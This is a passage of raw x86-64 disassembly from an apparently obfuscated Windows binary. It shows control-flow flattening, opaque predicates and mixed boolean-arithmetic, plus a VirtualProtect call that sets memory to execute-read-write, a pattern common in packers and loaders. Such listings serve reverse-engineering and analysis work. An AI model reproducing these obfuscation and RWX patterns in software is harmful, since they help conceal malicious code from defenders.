cmovne eax, edi
jmp 0x1401a0088
cmp eax, 0x12a9be8e
je 0x14017ff7f
cmp eax, 0x1354bd20
je 0x1401800dc
cmp eax, 0x1361130a
jne 0x14016c950
mov eax, 0x34dc048f
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x7045d124
je 0x140180209
cmp eax, 0x705c03f9
je 0x14018021e
cmp eax, 0x706a724d
jne 0x14016c950
mov eax, 0x72455aa8
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x37364dea
je 0x140180233
cmp eax, 0x378f4948
je 0x14018039c
cmp eax, 0x37eefce6
jne 0x14016c950
mov eax, dword [0x1402656c8]
lea ecx, [rax - 1]
imul ecx, eax
mov edx, ecx
not edx
or ecx, 0x5bad3e59
mov ebx, ecx
not ebx
or edx, 0xa452c1a6
mov eax, edx
not eax
and ecx, 0xb28f1459
and ebx, 0x450c1a6
or ebx, ecx
and edx, 0xb28f1459
and eax, 0x49202a00
or eax, edx
xor eax, ebx
mov ecx, eax
not ecx
and ecx, 0x5bad3e59
and eax, 0xa452c1a6
or eax, ecx
mov ecx, eax
xor ecx, 1
and ecx, eax
mov edx, eax
not edx
and edx, 0xfffffffe
and eax, 1
or eax, edx
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
cmp eax, 0xffffffff
sete al
setne cl
cmp dword [0x1402656c4], 9
setg bl
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ebx
xor dl, al
not dl
and dl, al
or bl, al
xor dl, 1
mov eax, edx
xor al, bl
or dl, bl
xor dl, 1
or dl, al
xor dl, 1
mov eax, ecx
and al, dl
xor dl, cl
or al, dl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xa12d3a08
mov ebx, 0xeff59f29
cmovne eax, ebx
test dl, 1
cmove eax, ebx
not cl
test cl, 1
mov ecx, 0xa12d3a08
jmp 0x14019970b
cmp eax, 0x4e0bb47f
je 0x1401804bb
cmp eax, 0x4e0c55d0
je 0x140186c65
cmp eax, 0x4e18a0cb
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rdx - 1]
imul ebx, edx
mov r9d, ebx
not r9d
mov edx, r9d
or edx, 0xea20253d
mov edi, edx
not edi
mov ecx, ebx
xor ecx, 0xea20253d
and ecx, r9d
mov eax, ecx
not eax
mov esi, edx
and esi, 0xcf23f3bc
and edi, 0x10dc0842
or edi, esi
or edx, eax
and eax, 0xcf23f3bc
and ecx, 0x30dc0c43
or ecx, eax
xor ecx, edi
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0xcd90adea
and edx, 0x326f5215
or edx, eax
xor edx, 0x27b088d6
and r9d, 0x3687fcdc
mov eax, ebx
and eax, 0xc9780323
or eax, r9d
xor eax, 0x3687fcdd
and ebx, 1
or ebx, eax
not ebx
mov eax, edx
and eax, ebx
xor ebx, edx
or ebx, eax
mov eax, ebx
not eax
and ebx, 0xcc083041
and eax, 0x33f7cfbe
or eax, ebx
mov ecx, eax
xor ecx, 0x88000040
xor eax, 0x33f7cfbe
mov edx, eax
and edx, 0x67eff419
and ecx, 0x98100be6
or ecx, edx
xor ecx, 0x98100be6
or ecx, eax
cmp ecx, 0xffffffff
sete r9b
setne cl
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg bl
mov eax, ebx
xor al, cl
or cl, dl
or dl, r9b
xor dl, 1
or dl, al
xor dl, 1
or bl, r9b
mov eax, ecx
xor al, bl
or bl, cl
xor bl, 1
or bl, al
xor bl, dl
mov eax, ebx
xor al, 1
and dl, al
xor al, dl
test al, 1
mov eax, 0xd7fead50
mov ecx, 0xd6a159f2
cmovne eax, ecx
test bl, bl
mov ecx, eax
mov ebx, 0xd7fead50
jmp 0x14018c625
cmp eax, 0x79b93cf
je 0x1401805e4
cmp eax, 0x7c9410b
je 0x1401805f9
cmp eax, 0x7fc341d
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x60b78867
mov edi, ecx
and edi, 0x9f487798
or edi, ebx
mov ebx, edi
not ebx
and ebx, 0x9f487799
and edi, 0x60b78866
or edi, ebx
not edi
and edx, 0x48049d74
and ecx, 0xb7fb628b
or ecx, edx
xor ecx, 0xb7fb628b
mov edx, edi
and edx, ecx
xor ecx, edi
or ecx, edx
mov edx, ecx
not edx
and edx, 0xdddf3c2b
and ecx, 0x2220c3d4
or ecx, edx
xor ecx, 0x2220c3d4
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
and cl, dl
and r8b, al
xor al, dl
or al, cl
and bl, dl
or bl, r8b
mov ecx, ebx
and bl, al
xor al, 1
xor cl, 1
mov edx, eax
xor dl, cl
and dl, al
and cl, al
or cl, bl
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x29b8d054
mov ebx, 0x304baecb
jmp 0x1401794b2
cmp eax, 0x6ac2add4
je 0x14018078a
cmp eax, 0x6b1bffb4
je 0x140180892
cmp eax, 0x6b52a59e
jne 0x14016c950
mov rax, qword [rbp - 0x60]
mov eax, 0x93084321
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x2fa7fa05
je 0x1401808a7
cmp eax, 0x2fcf7b8f
je 0x1401809a0
cmp eax, 0x30444d23
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edi, [rdx - 1]
imul edi, edx
mov r9d, edi
not r9d
mov ebx, r9d
and ebx, 0x7bfed1f7
mov edx, edi
and edx, 0x84012e08
or edx, ebx
mov ebx, edx
xor ebx, 0x84012408
xor edx, 0x7bfed1f6
mov ecx, edi
xor ecx, 0xfffffffe
and ecx, edi
or edx, 1
mov eax, ecx
not eax
mov esi, edx
and esi, 0x2fc5b32
and ebx, 0xfd03a4cc
or ebx, esi
or edx, eax
and eax, 0x2fc5b32
and ecx, 0xfd03a4cd
or ecx, eax
xor ecx, ebx
not edx
or edx, ecx
and r9d, 0xcc258e
and edi, 0xff33da71
or edi, r9d
mov eax, edi
xor eax, 0xff33da71
xor edi, 0xcc258e
and edi, edx
not edx
and eax, edx
or edi, eax
xor edx, edi
test edx, edi
sete r9b
setne cl
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg bl
mov r8d, ebx
xor r8b, cl
mov eax, r8d
xor al, 1
and cl, dl
or dl, r9b
xor dl, 1
and bl, r9b
or bl, cl
mov ecx, edx
and cl, bl
xor bl, dl
or bl, cl
mov ecx, ebx
not cl
and cl, al
or al, bl
and bl, r8b
or bl, cl
mov ecx, eax
xor cl, bl
test cl, 1
mov ecx, 0x97ae3e6f
mov edx, 0x6b1bffb4
cmovne ecx, edx
test bl, bl
mov edx, ecx
mov ebx, 0x97ae3e6f
jmp 0x1401a165f
cmp eax, 0x5b664367
je 0x140180ae9
cmp eax, 0x5c02e772
je 0x140180afe
cmp eax, 0x5c746de4
jne 0x14016c950
mov eax, 0x87da883c
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x1d608430
je 0x140180c20
cmp eax, 0x1d6e4cd6
je 0x140180c35
cmp eax, 0x1dd7024c
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0xcf677a69
and edx, ecx
and ecx, 0x30988596
or ecx, ebx
xor ecx, 0x30988596
mov ebx, ecx
and ebx, edx
xor ecx, edx
or ecx, ebx
mov ebx, ecx
mov edi, ecx
xor edi, 0xff236183
and edi, ecx
not ecx
and ecx, 0x2fae2c4a
and ebx, 0xd051d3b5
or ebx, ecx
mov edx, ebx
xor edx, 0xd051d3b5
xor ebx, 0x2fae2c4a
mov ecx, ebx
or ecx, 0xdc9e7c
mov esi, ecx
not esi
mov eax, edi
not eax
mov r9d, ecx
and r9d, 0xdf22bc58
and esi, 0x20014183
or esi, r9d
or ecx, eax
and eax, 0xdf22bc58
and edi, 0x20dd43a7
or edi, eax
xor edi, esi
not ecx
or ecx, edi
mov eax, ecx
not eax
and eax, 0x6177ee33
and ecx, 0x9e8811cc
or ecx, eax
mov edi, ecx
xor edi, 0x600a5002
and ebx, 0x98d8cb6e
mov eax, edx
and eax, 0x67273491
or eax, ebx
xor eax, 0x98d8cb6f
and edx, 1
or edx, eax
mov eax, edx
not eax
and eax, 0x6a20b9b9
and edx, 0x95df4646
or edx, eax
mov eax, edx
xor eax, 0x905e4602
xor edx, 0x6a20b9b9
xor ecx, 0x9e548fb1
mov ebx, ecx
and ebx, 0x7a1a95d
and edi, 0xf85e56a2
or edi, ebx
or ecx, edx
and edx, 0x7a1a95d
and eax, 0xf85e56a2
or eax, edx
xor eax, edi
not ecx
or ecx, eax
cmp ecx, 0xffffffff
setne al
sete r9b
cmp r8d, 9
setg dl
cmp r8d, 0xa
setl cl
mov ebx, ecx
xor bl, dl
and bl, cl
mov ecx, ebx
xor cl, 1
and cl, r9b
and bl, al
or bl, cl
mov ecx, edx
xor cl, al
or dl, al
xor dl, 1
or dl, cl
xor dl, 1
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
xor dl, bl
and bl, dl
mov eax, edx
xor al, bl
test al, 1
mov eax, 0x8e1591f3
mov ecx, 0xa0c94b87
cmovne eax, ecx
test dl, 1
mov ecx, 0x8e1591f3
jmp 0x1401a1a38
cmp eax, 0x791632bc
je 0x140180d3a
cmp eax, 0x792677f3
je 0x140180eaf
cmp eax, 0x79e5ee86
jne 0x14016c950
mov eax, dword [0x1402656c8]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
xor eax, 0xca4ddce0
and eax, edx
or edx, 0x35b2231f
mov ecx, edx
not ecx
mov ebx, eax
not ebx
mov edi, edx
and edi, 0xfe2719df
and ecx, 0x48c420
or ecx, edi
or edx, ebx
and ebx, 0xfe2719df
and eax, 0x1d8e620
or eax, ebx
xor eax, ecx
not edx
or edx, eax
mov eax, edx
not eax
and eax, 0x69fe27ac
and edx, 0x9601d853
or edx, eax
mov ecx, edx
xor ecx, 0x58080493
xor edx, 0xa3b3fb4c
mov eax, edx
and eax, 0xa6545a20
and ecx, 0x59aba5df
or ecx, eax
mov ebx, ecx
not ebx
mov edi, ecx
xor edi, 0x86444800
or edi, 0x70b1b26c
mov esi, edi
not esi
or edx, 0x8f4e4d93
mov eax, edx
not eax
and edi, 0xde8ba9
and esi, 0x8f004412
or esi, edi
and edx, 0xde8ba9
and eax, 0x70213044
or eax, edx
xor eax, esi
mov edx, eax
not edx
and edx, 0xd9cd987c
and eax, 0x26326783
or eax, edx
mov edx, eax
xor edx, 0x290c2a00
and ebx, 1
xor ecx, 0x59aba5de
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0x9e21bd0c
and ecx, 0x61de42f3
or ecx, ebx
mov ebx, ecx
xor ebx, 0x218c4280
xor eax, 0x5683d5ee
xor ecx, 0x9e21bd0c
mov edi, eax
and edi, 0xc4730573
and edx, 0x3b8cfa8c
or edx, edi
or eax, ecx
and ecx, 0xc4730573
and ebx, 0x3b8cfa8c
or ebx, ecx
xor ebx, edx
not eax
or eax, ebx
mov ebx, eax
not ebx
or eax, 0x37d20e6a
mov edx, eax
not edx
or ebx, 0xc82df195
mov ecx, ebx
not ecx
and eax, 0x107310b9
and edx, 0xc80ce104
or edx, eax
and ebx, 0x107310b9
and ecx, 0x27800e42
or ecx, ebx
xor ecx, edx
mov eax, ecx
not eax
and eax, 0x37d20e6a
and ecx, 0xc82df195
or ecx, eax
sete al
cmp dword [0x1402656c4], 0xa
setl r9b
mov ecx, r9d
or cl, al
xor cl, 1
xor r9b, al
or cl, r9b
mov edx, ecx
xor dl, 1
mov eax, edx
and al, cl
mov r8d, eax
and r8b, dl
xor al, dl
or al, r8b
mov ebx, eax
xor bl, 1
and bl, r9b
or dl, r9b
xor r9b, 1
and al, r9b
or al, bl
xor r9b, cl
xor dl, 1
or dl, r9b
mov ecx, edx
xor cl, al
test dl, 1
mov edx, 0x79fb0f6b
mov ebx, 0xf6825e78
cmovne edx, ebx
test al, al
mov r14d, 0xf6825e78
cmove edx, ebx
test cl, 1
mov eax, 0x79fb0f6b
jmp 0x1401a0e8b
cmp eax, 0x415a35cc
je 0x140180ffb
cmp eax, 0x415f0b49
je 0x140181010
cmp eax, 0x417accaf
jne 0x14016c950
mov eax, 0x3d50f722
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x2b400c8
je 0x140181156
cmp eax, 0x2b42a1e
je 0x14018129f
cmp eax, 0x2f7f2f2
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov ecx, dword [0x1402656c4]
lea eax, [rdx - 1]
imul eax, edx
mov edx, eax
not edx
mov ebx, edx
and ebx, 0x8fc9166
mov edi, eax
and edi, 0xf7036e98
or edi, ebx
xor edi, 0xf7036e98
mov ebx, eax
and ebx, 1
or ebx, edi
and edx, 0x129fa4ad
and eax, 0xed605b52
or eax, edx
mov edx, eax
xor edx, 0xed605b52
xor eax, 0x129fa4ad
and eax, ebx
not ebx
and edx, ebx
or eax, edx
xor ebx, eax
test ebx, eax
setne al
cmp ecx, 9
setg dl
cmp ecx, 0xa
setl cl
xor cl, al
mov r8d, ecx
xor r8b, dl
and r8b, cl
xor al, dl
mov r9d, eax
xor r9b, 1
mov ebx, r8d
xor bl, 1
mov edx, ebx
and dl, r8b
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
mov ecx, edx
xor cl, 1
and cl, r9b
and dl, al
or dl, cl
xor bl, r9b
or al, r8b
xor al, 1
or al, bl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x5e3eec4b
mov ebx, 0x7afa23fe
cmovne ecx, ebx
test al, al
mov eax, 0x5e3eec4b
cmovne eax, ecx
jmp 0x1401a14d9
cmp eax, 0x498ecc33
je 0x1401813e9
cmp eax, 0x499a24b0
jne 0x14016c950
mov rax, qword [rbp - 0x60]
mov dword [rax], 0
movsxd rdx, dword [rbp - 0x2c]
mov r9, qword [rbp - 0x60]
mov rcx, qword [rbp - 0x40]
sub rsp, 0x20
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov eax, 0xe299e6aa
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x4bdfed8a
je 0x140181549
cmp eax, 0x4c0b28f2
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov r9d, ecx
not r9d
mov edx, ecx
or edx, 1
mov edi, edx
not edi
mov esi, ecx
xor esi, 0xfffffffe
and esi, ecx
mov eax, esi
not eax
mov ebx, edx
and ebx, 0xa67181e5
and edi, 0x598e7e1a
or edi, ebx
or edx, eax
and eax, 0xa67181e5
and esi, 0x598e7e1a
or esi, eax
xor esi, edi
not edx
or edx, esi
and r9d, 0xf4f294f9
and ecx, 0xb0d6b06
or ecx, r9d
mov eax, ecx
xor eax, 0xb0d6b06
xor ecx, 0xf4f294f9
and ecx, edx
not edx
and eax, edx
or ecx, eax
not ecx
or ecx, edx
cmp ecx, 0xffffffff
sete cl
setne dl
cmp r8d, 9
setg bl
cmp r8d, 0xa
setl al
mov r8d, eax
xor r8b, dl
and dl, al
or al, cl
and bl, cl
or bl, dl
mov ecx, eax
xor cl, bl
xor bl, 1
xor cl, 1
or bl, al
xor bl, 1
or bl, cl
mov eax, ebx
xor al, 1
mov ecx, eax
and cl, bl
xor al, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, al
mov eax, r8d
xor al, cl
xor cl, 1
or cl, r8b
xor al, 1
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x56def22f
mov ebx, 0x37364dea
cmovne eax, ebx
test cl, 1
mov ecx, 0x56def22f
cmovne eax, ecx
jmp 0x1401a0088
cmp eax, 0x4a9ca09b
je 0x140181666
cmp eax, 0x4ad7ae3d
jne 0x14016c950
mov eax, dword [0x1402656c8]
mov ecx, dword [0x1402656c4]
lea esi, [rax - 1]
imul esi, eax
mov eax, esi
not eax
mov ebx, eax
and ebx, 0x3c40ca9d
mov edx, esi
and edx, 0xc3bf3562
or edx, ebx
mov ebx, edx
xor ebx, 0x143460
xor edx, 0x3c00c294
mov edi, esi
or edi, 0xffabc396
and edx, 0xffabc396
and ebx, 0x543c68
or ebx, edx
and edi, 0xffabc397
xor edi, ebx
mov edx, edi
not edx
mov ebx, edx
and ebx, 0x2d58d523
and edi, 0xd2a72adc
or edi, ebx
and esi, 0x2d58d523
and eax, 0xd2a72adc
or eax, esi
xor eax, edi
xor edx, eax
test edx, eax
setne al
sete dl
cmp ecx, 0xa
setl r9b
cmp ecx, 9
setg r8b
mov ecx, r8d
xor al, r8b
xor r8b, dl
not r8b
and r8b, dl
or cl, dl
xor cl, 1
mov ebx, r8d
and bl, cl
xor cl, r8b
or cl, bl
or r9b, dl
mov edx, r9d
xor dl, al
xor al, 1
xor dl, 1
or al, r9b
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, al
and bl, cl
and al, cl
xor cl, 1
and cl, dl
or al, cl
mov ecx, ebx
xor cl, al
test al, 1
mov eax, 0xfa81600f
mov edx, 0x747b9874
cmovne eax, edx
test bl, bl
mov ebx, 0xfa81600f
jmp 0x14019b34b
cmp eax, 0x4ce30995
je 0x140181715
cmp eax, 0x4d15cd9a
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edi, [rdx - 1]
imul edi, edx
mov r9d, edi
not r9d
mov ebx, r9d
and ebx, 0x2edc7aa6
mov edx, edi
and edx, 0xd1238559
or edx, ebx
mov ebx, edx
xor ebx, 0x1200000
xor edx, 0x22942224
mov eax, edi
xor eax, 0x73b5223d
and eax, edi
or edx, 0x8c4addc2
mov ecx, eax
not ecx
mov esi, edx
and esi, 0xd4d33bdb
and ebx, 0x23240024
or ebx, esi
or edx, ecx
and ecx, 0xd4d33bdb
and eax, 0x2b2cc424
or eax, ecx
xor eax, ebx
not edx
or edx, eax
mov eax, edx
not eax
and eax, 0x8c4addc3
and edx, 0x73b5223c
or edx, eax
and r9d, 0xe86189e2
and edi, 0x179e761d
or edi, r9d
mov eax, edi
xor eax, 0x179e761d
xor edi, 0xe86189e2
and edi, edx
not edx
and eax, edx
or edi, eax
not edi
or edi, edx
cmp edi, 0xffffffff
sete r9b
setne dl
cmp r8d, 0xa
setl r11b
cmp r8d, 9
setg r8b
mov ecx, edx
xor cl, r9b
and cl, dl
mov edx, ecx
xor dl, 1
mov ebx, edx
and bl, cl
mov r10d, edx
and r10b, bl
xor bl, dl
or bl, r10b
xor bl, 1
or dl, cl
xor dl, 1
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
mov ecx, edx
xor cl, r8b
and dl, cl
and cl, r8b
xor dl, 1
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov edx, r11d
or dl, r9b
xor r11b, r9b
xor r11b, 1
mov ebx, edx
xor bl, r11b
or r11b, dl
xor r11b, 1
or r11b, bl
mov edx, r11d
xor dl, 1
mov r8d, ecx
xor r8b, 1
mov ebx, r8d
and bl, cl
mov eax, r11d
and al, dl
xor r8b, bl
xor bl, 1
or bl, cl
xor bl, 1
or bl, r8b
mov r8d, r11d
and r8b, al
xor al, r11b
or al, r8b
xor al, bl
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x67190658
mov ebx, 0xa1cbc577
cmovne ecx, ebx
test dl, 1
mov edx, 0x67190658
jmp 0x1401a209b
cmp eax, 0x6854708c
je 0x1401817cd
cmp eax, 0x686288c3
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0xf39997cb
and edx, ecx
and ecx, 0xc666834
or ecx, ebx
mov ebx, ecx
xor ebx, 0x400804
xor ecx, 0xf39997cb
mov edi, edx
not edi
mov esi, ecx
and esi, 0xacaff6bb
and ebx, 0x53500944
or ebx, esi
or ecx, edi
and edi, 0xacaff6bb
and edx, 0x53500944
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebx, ecx
and ebx, 0xfffffffe
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x9358cb10
and ecx, 0x6ca734ef
or ecx, edx
xor ecx, 0x6ca734ef
sete r8b
setne bl
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
mov ecx, eax
xor cl, bl
and bl, dl
or dl, r8b
xor dl, 1
or dl, cl
mov r9d, edx
xor r9b, 1
and al, r8b
or al, bl
mov r10d, eax
xor r10b, 1
mov ecx, edx
and cl, r9b
mov r8d, edx
xor r8b, cl
xor cl, 1
or cl, r9b
xor cl, 1
or cl, r8b
mov ebx, ecx
xor bl, 1
and bl, r10b
and cl, al
or cl, bl
xor r10b, dl
or al, r9b
xor al, 1
or al, r10b
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0xfda5d527
mov ebx, 0xecb2709
cmovne eax, ebx
test cl, cl
cmove eax, ebx
test dl, 1
mov ecx, 0xfda5d527
jmp 0x1401a14db
cmp eax, 0x2a160a86
je 0x1401817e2
cmp eax, 0x2b411fd1
jne 0x14016c950
mov eax, 0x99ea58b6
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x574a5a62
je 0x14018199e
cmp eax, 0x5774d89e
jne 0x14016c950
mov eax, 0x9cf6cff7
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x1a9f25ad
je 0x140181a67
cmp eax, 0x1aed5def
jne 0x14016c950
mov eax, 0x256e3cb
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x74b5ae91
je 0x140181bd9
cmp eax, 0x750666b7
jne 0x14016c950
mov eax, dword [0x1402656c8]
lea ebx, [rax - 1]
imul ebx, eax
mov eax, ebx
not eax
mov edx, eax
and edx, 0x71d6aa0
mov ecx, ebx
and ecx, 0xf8e2955e
or ecx, edx
xor ecx, 0xf8e2955e
mov edx, ebx
xor edx, 0xfffffffe
and edx, ebx
mov edi, ecx
and edi, edx
xor edx, ecx
or edx, edi
mov edi, edx
not edi
mov ecx, edi
and ecx, 0x246e9fdc
and edx, 0xdb916023
or edx, ecx
and ebx, 0x246e9fdc
and eax, 0xdb916023
or eax, ebx
xor eax, edx
not eax
or eax, edi
cmp eax, 0xffffffff
setne r9b
sete al
cmp dword [0x1402656c4], 0xa
setl cl
mov ebx, ecx
or bl, al
xor bl, 1
xor al, cl
or bl, al
mov r8d, ebx
xor r8b, 1
or r9b, cl
and al, cl
xor al, 1
mov ecx, r9d
xor cl, al
or al, r9b
xor al, 1
or al, cl
mov r9d, eax
xor r9b, 1
mov edx, ebx
and dl, r8b
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
mov ecx, edx
xor cl, 1
and cl, r9b
and dl, al
or dl, cl
mov ecx, r8d
xor cl, al
or al, r8b
xor al, 1
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x92151140
mov ebx, 0x4e18a0cb
cmovne ecx, ebx
test al, 1
mov eax, 0x92151140
jmp 0x14019e5fe
cmp eax, 0x3dd4e11f
je 0x140181d1f
cmp eax, 0x3def0f5c
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0x2539a85d
and ecx, edx
and edx, 0xdac657a2
or edx, ebx
xor edx, 0xdac657a2
mov ebx, edx
and ebx, ecx
xor edx, ecx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0x3ee03b6a
mov ebx, edx
and ebx, 0xc11fc495
or ebx, ecx
mov ecx, ebx
xor ecx, 0xc11fc495
xor ebx, 0x2203a00
mov edi, ecx
and edi, 0xb11cc5c6
and edx, 0x4ee33a39
or edx, edi
mov edi, edx
not edi
and edi, 0x4ee33a38
and edx, 0xb11cc5c7
or edx, edi
and ebx, 0xc3353a10
mov edi, ecx
and edi, 0x3ccac5ef
or edi, ebx
xor edi, 0xc3353a11
and ecx, 1
or ecx, edi
mov ebx, ecx
not ebx
and ebx, 0xb3753b9f
and ecx, 0x4c8ac460
or ecx, ebx
xor ecx, 0x4c8ac460
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
mov ebx, ecx
xor ebx, 0x89434851
and ebx, ecx
or ecx, 0x76bcb7ae
mov edi, ebx
not edi
mov esi, ecx
and esi, 0xf6e18d17
and edx, 0x9024040
or edx, esi
or ecx, edi
and edi, 0xf6e18d17
and ebx, 0x91e72e8
or ebx, edi
xor ebx, edx
not ecx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xe52109d0
and ecx, 0x1adef62f
or ecx, edx
mov edx, ecx
xor edx, 0x1909412
xor ecx, 0x6c624181
mov ebx, ecx
and ebx, 0xba2d6a6d
and edx, 0x45d29592
or edx, ebx
xor edx, 0xba2d6a6d
xor ecx, edx
test ecx, edx
sete cl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov edx, eax
and cl, al
and al, r8b
xor dl, r8b
or dl, al
xor dl, 1
and bl, r8b
or cl, bl
xor cl, dl
mov eax, ecx
xor al, 1
and dl, al
xor al, dl
test al, 1
mov ebx, 0x1e86d531
mov eax, 0x27b74e9d
cmovne ebx, eax
test cl, cl
mov eax, ebx
mov ecx, 0x1e86d531
cmovne eax, ecx
jmp 0x140178d7e
cmp eax, 0xcc80e6b
je 0x140181e48
cmp eax, 0xcdfeeaf
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov r9d, ecx
not r9d
mov edi, ecx
xor edi, 0xfffffffe
and edi, ecx
mov edx, ecx
or edx, 1
mov esi, edi
not esi
mov eax, edx
and eax, 0x291a421c
mov ebx, r9d
and ebx, 0xd6e5bde2
or ebx, eax
or edx, esi
and esi, 0x291a421c
and edi, 0xd6e5bde3
or edi, esi
xor edi, ebx
not edx
or edx, edi
and r9d, 0xb8078b99
and ecx, 0x47f87466
or ecx, r9d
mov eax, ecx
xor eax, 0x47f87466
xor ecx, 0xb8078b99
and ecx, edx
not edx
and eax, edx
or ecx, eax
not ecx
or ecx, edx
cmp ecx, 0xffffffff
setne al
sete cl
cmp r8d, 9
setg dl
cmp r8d, 0xa
setl bl
xor bl, cl
mov ecx, edx
xor cl, al
or dl, al
xor dl, 1
or dl, bl
mov eax, edx
xor al, cl
xor cl, 1
xor al, 1
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
mov edx, ebx
xor dl, cl
and dl, bl
and cl, bl
xor bl, 1
not al
and al, bl
or cl, al
mov eax, edx
xor al, cl
mov eax, 0x79e5ee86
mov ebx, 0x48603333
jmp 0x1401794b2
cmp eax, 0x6df48d2b
je 0x140181e5d
cmp eax, 0x6e926331
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
not edx
and ebx, 0x120947d1
and edx, 0xedf6b82e
or edx, ebx
mov ebx, edx
xor ebx, 0x4680
xor edx, 0xedf6b82e
mov esi, edx
or esi, 1
mov edi, esi
not edi
and edx, 0x533b895b
and ebx, 0xacc476a4
or ebx, edx
mov edx, ebx
xor edx, 0x20406680
xor ebx, 0x533b895a
mov ecx, esi
and ecx, 0x8d85196f
and edi, 0x727ae690
or edi, ecx
or esi, ebx
and ebx, 0x8d85196f
and edx, 0x727ae690
or edx, ebx
xor edx, edi
not esi
or esi, edx
mov edx, esi
mov ecx, esi
xor ecx, 0x13b2f0eb
and ecx, esi
not esi
and esi, 0x30104b
and edx, 0x1382e0a0
or edx, esi
xor edx, 0x1382e0a0
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x6f77e2c2
and ecx, 0x90881d3d
or ecx, edx
xor ecx, 0x833aedd6
sete cl
setne dl
cmp eax, 9
setg r8b
cmp eax, 0xa
setl r9b
mov eax, r9d
xor al, dl
mov ebx, eax
xor bl, r8b
and bl, al
and dl, r9b
and cl, r8b
or cl, dl
mov eax, ebx
xor al, 1
mov edx, ecx
xor dl, 1
mov r8d, edx
and r8b, bl
xor dl, al
and al, cl
or al, r8b
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0xfe1f5d01
mov ebx, 0xcecb2e6d
cmovne ecx, ebx
test al, al
cmove ecx, ebx
test dl, 1
mov eax, 0xfe1f5d01
jmp 0x1401a26bd
cmp eax, 0x33abb31a
je 0x140181e72
cmp eax, 0x33ffc8a3
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rdx - 1]
imul ebx, edx
mov r9d, ebx
not r9d
mov ecx, ebx
xor ecx, 0x6dcf8021
and ecx, ebx
mov edx, ebx
or edx, 0x92307fde
mov esi, ecx
not esi
mov eax, edx
and eax, 0x184e8433
mov edi, r9d
and edi, 0x65810000
or edi, eax
or edx, esi
and esi, 0x184e8433
